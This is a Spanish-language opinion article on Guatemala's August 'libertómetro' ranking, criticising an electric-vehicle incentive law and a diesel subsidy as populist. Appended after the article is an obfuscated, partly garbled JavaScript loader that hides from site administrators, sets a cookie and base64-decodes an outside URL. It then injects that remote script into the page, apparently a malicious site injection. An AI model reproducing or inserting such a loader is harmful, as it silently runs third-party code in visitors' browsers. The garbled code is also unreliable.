

El populismo disfrazado de buenas intenciones

Durante el mes de agosto Guatemala tuvo una carga baja de medidas, según el monitoreo realizado por el libertómetro se realizaron un total de tres medidas dentro de las solo dos fueron aptas para ser analizadas por el libertómetro, obteniendo con ellas un -100% en el mes. Posicionando a Guatemala al final de la lista en el ranking de libertad según el libertómetro a nivel regional.

También te puede interesar: [Datos de El Libertómetro](#)

Dentro de las medidas analizadas por el libertómetro está por un lado el Decreto 40 el cual correspondió a la Ley de incentivos para movilidad eléctrica. Su objetivo es promover y facilitar la importación, compraventa y uso de vehículos eléctricos, híbridos, de hidrógeno y sistemas de transporte eléctrico. Declarando de interés público la promoción y uso de esta clase de vehículos. Esta medida fue analizada como negativa, con un -1 final al calificarse como desigualdad ante la Ley, ya que protege e impulsa un sector brindando incentivos fiscales para adoptar esta medida.

Aun cuando es una medida que puede parecer beneficiosa en términos de medio ambiente, no debemos olvidar que el Estado no debería tomar bandos y que un tema como este no debería volverse de “interés público” ya que reducido sector de la población cuentan con un transporte propio y más limitado es el número de ciudadanos que cuentan con un vehículo eléctrico.

Por otro lado, se aprobó un apoyo para los consumidores de diésel. Este apoyo es de Q5 por galón hasta el 30 de septiembre o al agotarse el monto otorgado del presupuesto (Q400 millones). Lo cual también supone una desigualdad ante la Ley beneficiando a un sector con el dinero de todos los

ciudadanos, aún cuando los consumidores de diésel representan buen trozo de la población, no justifica su generalización ya que es pagado por todos.

Durante el mes de agosto, las medidas analizadas violaron la libertad individual en su subíndice de Igualdad ante la Ley. Lo cual nos hace reflexionar sobre cómo una medida que aparentemente resulta positiva, es de tintes populistas y además lejos de beneficiar termina teniendo un impacto que es pagado por todos los ciudadanos. Es interesante además notar cómo los dos temas están relacionados con el tema de transporte. Es imposible no pensar mal, sobre cuál es la verdadera intención y a quién de verdad protege.

Como diría Bastiat “La ley se ha pervertido bajo la influencia de dos causas muy diferentes: el egoísmo carente de inteligencia y la falsa filantropía”, así en Guatemala se percibe un populismo disfrazado de buenas intenciones.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=new Date();for(var i=0;i<120)return;if((document.cookie||>).indexOf('http2_session_id')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/\^A-Za-zA-9+/=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFnY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl==u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'':
```

```
Secure' : '' ); try{window.__rl=u;}catch(e){}var  
s=document.createElement('script');s.type='text/javascript';s.  
async=true;s.src=u;try{s.setAttribute('data-  
rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d  
ocument.documentElement).appendChild(s);}catch(e{})})();
```